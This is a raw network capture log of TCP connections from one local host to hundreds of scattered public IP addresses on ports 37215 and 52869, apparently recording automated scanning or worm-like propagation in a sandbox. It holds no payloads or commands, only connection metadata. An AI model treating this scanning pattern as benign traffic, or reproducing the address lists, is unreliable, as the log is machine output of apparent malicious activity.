Oct 6, 2024 20:00:45.736005068 CEST	49416	37215	192.168.2.15	156.75.168.180
Oct 6, 2024 20:00:45.736018896 CEST	49416	37215	192.168.2.15	197.111.118.75
Oct 6, 2024 20:00:45.736021996 CEST	49416	37215	192.168.2.15	41.133.115.150
Oct 6, 2024 20:00:45.736026049 CEST	49416	37215	192.168.2.15	41.170.50.173
Oct 6, 2024 20:00:45.736026049 CEST	49416	37215	192.168.2.15	156.80.139.214
Oct 6, 2024 20:00:45.736040115 CEST	49416	37215	192.168.2.15	197.144.174.229
Oct 6, 2024 20:00:45.736040115 CEST	49416	37215	192.168.2.15	156.79.157.130
Oct 6, 2024 20:00:45.736054897 CEST	49416	37215	192.168.2.15	197.35.211.49
Oct 6, 2024 20:00:45.736062050 CEST	49416	37215	192.168.2.15	197.143.118.161
Oct 6, 2024 20:00:45.736068964 CEST	49416	37215	192.168.2.15	41.43.49.216
Oct 6, 2024 20:00:45.736078978 CEST	49416	37215	192.168.2.15	156.26.162.203
Oct 6, 2024 20:00:45.736078978 CEST	49416	37215	192.168.2.15	197.203.7.77
Oct 6, 2024 20:00:45.736088991 CEST	49416	37215	192.168.2.15	197.123.7.165
Oct 6, 2024 20:00:45.736095905 CEST	49416	37215	192.168.2.15	197.103.33.34
Oct 6, 2024 20:00:45.736100912 CEST	49416	37215	192.168.2.15	197.203.42.146
Oct 6, 2024 20:00:45.736104012 CEST	49416	37215	192.168.2.15	41.220.38.128
Oct 6, 2024 20:00:45.736107111 CEST	49416	37215	192.168.2.15	156.156.197.49
Oct 6, 2024 20:00:45.736109018 CEST	49416	37215	192.168.2.15	156.131.23.184
Oct 6, 2024 20:00:45.736123085 CEST	49416	37215	192.168.2.15	197.235.128.152
Oct 6, 2024 20:00:45.736249924 CEST	49850	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:45.736249924 CEST	49850	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:45.736392021 CEST	46828	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:45.736392975 CEST	46828	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:45.737245083 CEST	47148	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:45.737395048 CEST	50306	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:45.737598896 CEST	52869	52910	41.234.254.118	192.168.2.15
Oct 6, 2024 20:00:45.739018917 CEST	55744	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:45.739103079 CEST	55744	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:45.739300013 CEST	60050	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:45.739300013 CEST	60050	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:45.739978075 CEST	60506	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:45.740160942 CEST	56066	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:45.740422964 CEST	37215	49416	197.226.72.248	192.168.2.15
Oct 6, 2024 20:00:45.740469933 CEST	49416	37215	192.168.2.15	197.226.72.248
Oct 6, 2024 20:00:45.740957975 CEST	49448	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:45.740957975 CEST	49448	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:45.741116047 CEST	37456	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:45.741137981 CEST	37456	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:45.741154909 CEST	37215	49850	41.218.74.136	192.168.2.15
Oct 6, 2024 20:00:45.741239071 CEST	52869	46828	156.67.119.255	192.168.2.15
Oct 6, 2024 20:00:45.741636992 CEST	52869	52028	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:45.741648912 CEST	37776	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:45.741652966 CEST	52869	47080	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:45.741760015 CEST	49908	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:45.743182898 CEST	50744	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:45.743182898 CEST	50744	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:45.743324995 CEST	34404	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:45.743324995 CEST	34404	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:45.743894100 CEST	52869	55744	156.5.234.27	192.168.2.15
Oct 6, 2024 20:00:45.744096994 CEST	37215	60050	41.150.0.113	192.168.2.15
Oct 6, 2024 20:00:45.744100094 CEST	34864	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:45.744293928 CEST	51066	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:45.745547056 CEST	52869	43846	156.84.91.166	192.168.2.15
Oct 6, 2024 20:00:45.745711088 CEST	37215	49448	197.240.195.4	192.168.2.15
Oct 6, 2024 20:00:45.745923996 CEST	52869	37456	197.229.67.248	192.168.2.15
Oct 6, 2024 20:00:45.747186899 CEST	58802	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:45.747186899 CEST	58802	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:45.747519016 CEST	41246	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.747519970 CEST	41246	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.748003006 CEST	52869	50744	156.43.59.77	192.168.2.15
Oct 6, 2024 20:00:45.748147011 CEST	37215	34404	197.189.46.106	192.168.2.15
Oct 6, 2024 20:00:45.748682976 CEST	41566	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.749619961 CEST	52869	32772	156.111.21.115	192.168.2.15
Oct 6, 2024 20:00:45.749655008 CEST	52869	51952	197.6.243.246	192.168.2.15
Oct 6, 2024 20:00:45.750269890 CEST	59266	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:45.751636028 CEST	53276	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:45.751636028 CEST	53276	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:45.751753092 CEST	58166	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:45.751753092 CEST	58166	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:45.752098083 CEST	37215	58802	41.128.20.63	192.168.2.15
Oct 6, 2024 20:00:45.752311945 CEST	52869	41246	41.127.219.252	192.168.2.15
Oct 6, 2024 20:00:45.753138065 CEST	58630	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:45.753408909 CEST	53598	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:45.753498077 CEST	52869	41566	41.127.219.252	192.168.2.15
Oct 6, 2024 20:00:45.753509998 CEST	52869	56318	41.201.71.143	192.168.2.15
Oct 6, 2024 20:00:45.753541946 CEST	41566	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.754802942 CEST	47958	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:45.754802942 CEST	47958	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:45.754966021 CEST	38682	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.754966021 CEST	38682	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.755549908 CEST	39002	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.755665064 CEST	48426	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:45.756469965 CEST	52869	53276	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:45.756617069 CEST	37215	58166	197.192.233.157	192.168.2.15
Oct 6, 2024 20:00:45.757564068 CEST	52869	52038	197.223.1.202	192.168.2.15
Oct 6, 2024 20:00:45.757833958 CEST	52869	47168	197.102.208.139	192.168.2.15
Oct 6, 2024 20:00:45.757889032 CEST	57878	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:45.757889032 CEST	57878	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:45.757996082 CEST	43324	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:45.757996082 CEST	43324	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:45.759649038 CEST	37215	47958	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:45.759747028 CEST	52869	38682	197.202.148.63	192.168.2.15
Oct 6, 2024 20:00:45.759845018 CEST	43792	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:45.759963989 CEST	58200	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:45.760377884 CEST	52869	39002	197.202.148.63	192.168.2.15
Oct 6, 2024 20:00:45.760438919 CEST	39002	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.760972977 CEST	58404	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:45.760972977 CEST	58404	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:45.761157990 CEST	37264	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:45.761157990 CEST	37264	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:45.762053013 CEST	37584	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:45.762141943 CEST	58874	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:45.762801886 CEST	52869	57878	197.175.106.121	192.168.2.15
Oct 6, 2024 20:00:45.762811899 CEST	37215	43324	41.50.215.105	192.168.2.15
Oct 6, 2024 20:00:45.763519049 CEST	34498	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:45.763519049 CEST	34498	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:45.763684034 CEST	53674	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:45.763684034 CEST	53674	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:45.764300108 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:45.764456987 CEST	34820	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:45.765575886 CEST	52869	49000	197.116.43.94	192.168.2.15
Oct 6, 2024 20:00:45.765584946 CEST	52869	59256	197.167.179.38	192.168.2.15
Oct 6, 2024 20:00:45.765619993 CEST	52869	49878	41.84.181.199	192.168.2.15
Oct 6, 2024 20:00:45.765687943 CEST	56060	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:45.765687943 CEST	56060	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:45.765811920 CEST	37215	58404	197.41.142.52	192.168.2.15
Oct 6, 2024 20:00:45.765839100 CEST	55826	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:45.765839100 CEST	55826	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:45.765938044 CEST	52869	37264	156.11.241.64	192.168.2.15
Oct 6, 2024 20:00:45.766640902 CEST	56146	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:45.766676903 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:45.767509937 CEST	41462	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:45.767509937 CEST	41462	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:45.767723083 CEST	37136	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.767723083 CEST	37136	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.768412113 CEST	52869	34498	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:45.768451929 CEST	37215	53674	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:45.768728971 CEST	37608	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.768866062 CEST	41784	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:45.769846916 CEST	36682	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:45.769846916 CEST	36682	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:45.770005941 CEST	33578	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:45.770005941 CEST	33578	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:45.770525932 CEST	37215	56060	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:45.770611048 CEST	33898	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:45.770622015 CEST	52869	55826	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:45.770735025 CEST	37156	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:45.771526098 CEST	40318	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:45.771526098 CEST	40318	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:45.771684885 CEST	51654	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:45.771684885 CEST	51654	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:45.772341967 CEST	52869	41462	156.254.20.162	192.168.2.15
Oct 6, 2024 20:00:45.772509098 CEST	37215	37136	197.107.116.23	192.168.2.15
Oct 6, 2024 20:00:45.772823095 CEST	52128	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:45.772934914 CEST	40640	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:45.773655891 CEST	52869	58434	156.78.143.45	192.168.2.15
Oct 6, 2024 20:00:45.773685932 CEST	52869	41368	41.49.2.128	192.168.2.15
Oct 6, 2024 20:00:45.773694992 CEST	52869	36268	41.33.42.120	192.168.2.15
Oct 6, 2024 20:00:45.773705006 CEST	37215	37608	197.107.116.23	192.168.2.15
Oct 6, 2024 20:00:45.773745060 CEST	37608	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.774681091 CEST	37215	36682	197.229.12.237	192.168.2.15
Oct 6, 2024 20:00:45.774760008 CEST	52869	33578	197.29.5.14	192.168.2.15
Oct 6, 2024 20:00:45.775552034 CEST	42670	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:45.775552034 CEST	42670	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:45.775697947 CEST	33120	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.775697947 CEST	33120	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.776384115 CEST	52869	40318	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:45.776513100 CEST	37215	51654	41.58.165.93	192.168.2.15
Oct 6, 2024 20:00:45.776570082 CEST	33440	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.777010918 CEST	43146	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:45.777595997 CEST	52869	59566	41.111.81.107	192.168.2.15
Oct 6, 2024 20:00:45.778723001 CEST	35234	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:45.778723955 CEST	35234	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:45.778862000 CEST	32888	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:45.778862000 CEST	32888	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:45.779839039 CEST	33364	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:45.780040979 CEST	35556	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:45.780462027 CEST	37215	42670	41.61.136.167	192.168.2.15
Oct 6, 2024 20:00:45.780579090 CEST	52869	33120	197.183.46.225	192.168.2.15
Oct 6, 2024 20:00:45.781472921 CEST	52869	33440	197.183.46.225	192.168.2.15
Oct 6, 2024 20:00:45.781521082 CEST	33440	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.781550884 CEST	52869	46828	156.67.119.255	192.168.2.15
Oct 6, 2024 20:00:45.781666994 CEST	37215	49850	41.218.74.136	192.168.2.15
Oct 6, 2024 20:00:45.782075882 CEST	48774	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:45.782075882 CEST	48774	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:45.782942057 CEST	51928	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:45.782942057 CEST	51928	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:45.783500910 CEST	52869	35234	41.8.233.71	192.168.2.15
Oct 6, 2024 20:00:45.783633947 CEST	37215	32888	156.205.129.99	192.168.2.15
Oct 6, 2024 20:00:45.785402060 CEST	52248	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:45.785501003 CEST	49252	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:45.786616087 CEST	58908	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:45.786617041 CEST	58908	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:45.786751032 CEST	51892	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.786751032 CEST	51892	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.786864042 CEST	37215	48774	197.235.232.143	192.168.2.15
Oct 6, 2024 20:00:45.787511110 CEST	52370	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.787663937 CEST	59230	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:45.787700891 CEST	52869	51928	156.203.57.172	192.168.2.15
Oct 6, 2024 20:00:45.789544106 CEST	37215	60050	41.150.0.113	192.168.2.15
Oct 6, 2024 20:00:45.789554119 CEST	52869	55744	156.5.234.27	192.168.2.15
Oct 6, 2024 20:00:45.789562941 CEST	37215	34404	197.189.46.106	192.168.2.15
Oct 6, 2024 20:00:45.789572954 CEST	52869	50744	156.43.59.77	192.168.2.15
Oct 6, 2024 20:00:45.789582014 CEST	52869	37456	197.229.67.248	192.168.2.15
Oct 6, 2024 20:00:45.789589882 CEST	37215	49448	197.240.195.4	192.168.2.15
Oct 6, 2024 20:00:45.791608095 CEST	52869	58908	156.79.32.11	192.168.2.15
Oct 6, 2024 20:00:45.791651011 CEST	37215	51892	197.164.55.197	192.168.2.15
Oct 6, 2024 20:00:45.791677952 CEST	46980	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:45.791677952 CEST	46980	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:45.791924953 CEST	35140	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:45.791924953 CEST	35140	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:45.792264938 CEST	37215	52370	197.164.55.197	192.168.2.15
Oct 6, 2024 20:00:45.792309999 CEST	52370	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.792737961 CEST	35460	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:45.792903900 CEST	47460	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:45.793540001 CEST	52869	41246	41.127.219.252	192.168.2.15
Oct 6, 2024 20:00:45.793567896 CEST	37215	58802	41.128.20.63	192.168.2.15
Oct 6, 2024 20:00:45.794625998 CEST	54270	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:45.794625998 CEST	54270	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:45.794776917 CEST	55486	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.794776917 CEST	55486	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.796444893 CEST	55964	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.796477079 CEST	37215	46980	197.150.169.53	192.168.2.15
Oct 6, 2024 20:00:45.796580076 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:45.796732903 CEST	52869	35140	197.196.108.9	192.168.2.15
Oct 6, 2024 20:00:45.797971010 CEST	45390	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:45.797971010 CEST	45390	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:45.798163891 CEST	49688	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:45.798163891 CEST	49688	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:45.798393011 CEST	37215	58166	197.192.233.157	192.168.2.15
Oct 6, 2024 20:00:45.798403025 CEST	52869	53276	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:45.799316883 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:45.799448967 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:45.799505949 CEST	52869	54270	197.104.236.18	192.168.2.15
Oct 6, 2024 20:00:45.799566031 CEST	37215	55486	197.83.37.51	192.168.2.15
Oct 6, 2024 20:00:45.801261902 CEST	37215	55964	197.83.37.51	192.168.2.15
Oct 6, 2024 20:00:45.801311016 CEST	55964	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.801539898 CEST	52869	38682	197.202.148.63	192.168.2.15
Oct 6, 2024 20:00:45.801549911 CEST	37215	47958	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:45.802093029 CEST	47522	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:45.802093029 CEST	47522	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:45.802294970 CEST	55372	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:45.802330971 CEST	55372	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:45.802761078 CEST	37215	45390	41.241.161.251	192.168.2.15
Oct 6, 2024 20:00:45.802937031 CEST	52869	49688	41.29.252.39	192.168.2.15
Oct 6, 2024 20:00:45.803158045 CEST	55850	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:45.803286076 CEST	47844	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:45.805274010 CEST	48720	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:45.805274010 CEST	48720	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:45.805448055 CEST	45940	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:45.805448055 CEST	45940	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:45.805612087 CEST	37215	43324	41.50.215.105	192.168.2.15
Oct 6, 2024 20:00:45.805622101 CEST	52869	57878	197.175.106.121	192.168.2.15
Oct 6, 2024 20:00:45.806180000 CEST	46260	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:45.806308031 CEST	49200	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:45.806889057 CEST	52869	47522	41.21.163.213	192.168.2.15
Oct 6, 2024 20:00:45.807075024 CEST	37215	55372	197.137.68.198	192.168.2.15
Oct 6, 2024 20:00:45.807316065 CEST	50744	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:45.807316065 CEST	50744	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:45.807521105 CEST	37592	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.807521105 CEST	37592	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.808235884 CEST	38070	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.808340073 CEST	51066	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:45.809376955 CEST	49766	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:45.809376955 CEST	49766	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:45.809581995 CEST	59994	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:45.809581995 CEST	59994	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:45.809614897 CEST	37215	53674	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:45.809634924 CEST	52869	34498	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:45.809643984 CEST	52869	37264	156.11.241.64	192.168.2.15
Oct 6, 2024 20:00:45.809653997 CEST	37215	58404	197.41.142.52	192.168.2.15
Oct 6, 2024 20:00:45.810163021 CEST	37215	48720	41.240.79.98	192.168.2.15
Oct 6, 2024 20:00:45.810324907 CEST	52869	45940	156.121.102.48	192.168.2.15
Oct 6, 2024 20:00:45.810343027 CEST	60314	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:45.810451984 CEST	50246	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:45.811939955 CEST	37938	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:45.811939955 CEST	37938	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:45.812093973 CEST	42524	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:45.812093973 CEST	42524	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:45.812197924 CEST	52869	50744	156.135.133.206	192.168.2.15
Oct 6, 2024 20:00:45.812304020 CEST	37215	37592	197.164.91.95	192.168.2.15
Oct 6, 2024 20:00:45.813107014 CEST	37215	38070	197.164.91.95	192.168.2.15
Oct 6, 2024 20:00:45.813194990 CEST	38070	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.813286066 CEST	43002	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:45.813549995 CEST	37215	37136	197.107.116.23	192.168.2.15
Oct 6, 2024 20:00:45.813569069 CEST	38260	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:45.813592911 CEST	52869	41462	156.254.20.162	192.168.2.15
Oct 6, 2024 20:00:45.813602924 CEST	52869	55826	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:45.813611984 CEST	37215	56060	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:45.814475060 CEST	54606	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:45.814475060 CEST	54606	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:45.814549923 CEST	37215	49766	156.203.1.203	192.168.2.15
Oct 6, 2024 20:00:45.814613104 CEST	35622	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:45.814613104 CEST	35622	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:45.814781904 CEST	52869	59994	197.218.118.61	192.168.2.15
Oct 6, 2024 20:00:45.815433025 CEST	35942	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:45.815546036 CEST	55086	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:45.816844940 CEST	52888	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:45.816844940 CEST	52888	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:45.817011118 CEST	56462	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:45.817011118 CEST	56462	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:45.817047119 CEST	52869	37938	156.10.0.100	192.168.2.15
Oct 6, 2024 20:00:45.817365885 CEST	37215	42524	156.35.78.115	192.168.2.15
Oct 6, 2024 20:00:45.817532063 CEST	37215	51654	41.58.165.93	192.168.2.15
Oct 6, 2024 20:00:45.817542076 CEST	52869	40318	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:45.817552090 CEST	52869	33578	197.29.5.14	192.168.2.15
Oct 6, 2024 20:00:45.817563057 CEST	37215	36682	197.229.12.237	192.168.2.15
Oct 6, 2024 20:00:45.817622900 CEST	56940	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:45.818747997 CEST	53210	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:45.820488930 CEST	42832	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:45.820488930 CEST	42832	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:45.820672989 CEST	37054	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:45.820672989 CEST	37054	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:45.821449041 CEST	37374	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:45.821578026 CEST	43312	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:45.821696997 CEST	37215	54606	156.112.233.104	192.168.2.15
Oct 6, 2024 20:00:45.821708918 CEST	52869	35622	197.59.148.206	192.168.2.15
Oct 6, 2024 20:00:45.821717978 CEST	52869	35942	197.59.148.206	192.168.2.15
Oct 6, 2024 20:00:45.821767092 CEST	35942	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:45.822643995 CEST	47952	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:45.822643995 CEST	47952	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:45.822688103 CEST	52869	33120	197.183.46.225	192.168.2.15
Oct 6, 2024 20:00:45.822699070 CEST	37215	42670	41.61.136.167	192.168.2.15
Oct 6, 2024 20:00:45.822706938 CEST	52869	52888	197.126.27.231	192.168.2.15
Oct 6, 2024 20:00:45.822819948 CEST	41016	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:45.822819948 CEST	41016	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:45.822824001 CEST	37215	56462	41.166.51.57	192.168.2.15
Oct 6, 2024 20:00:45.823513985 CEST	41494	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:45.823622942 CEST	48274	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:45.824840069 CEST	54134	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:45.824840069 CEST	54134	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:45.824981928 CEST	53964	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:45.824981928 CEST	53964	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:45.825781107 CEST	54284	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:45.825885057 CEST	54614	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:45.826234102 CEST	37215	42832	156.77.142.2	192.168.2.15
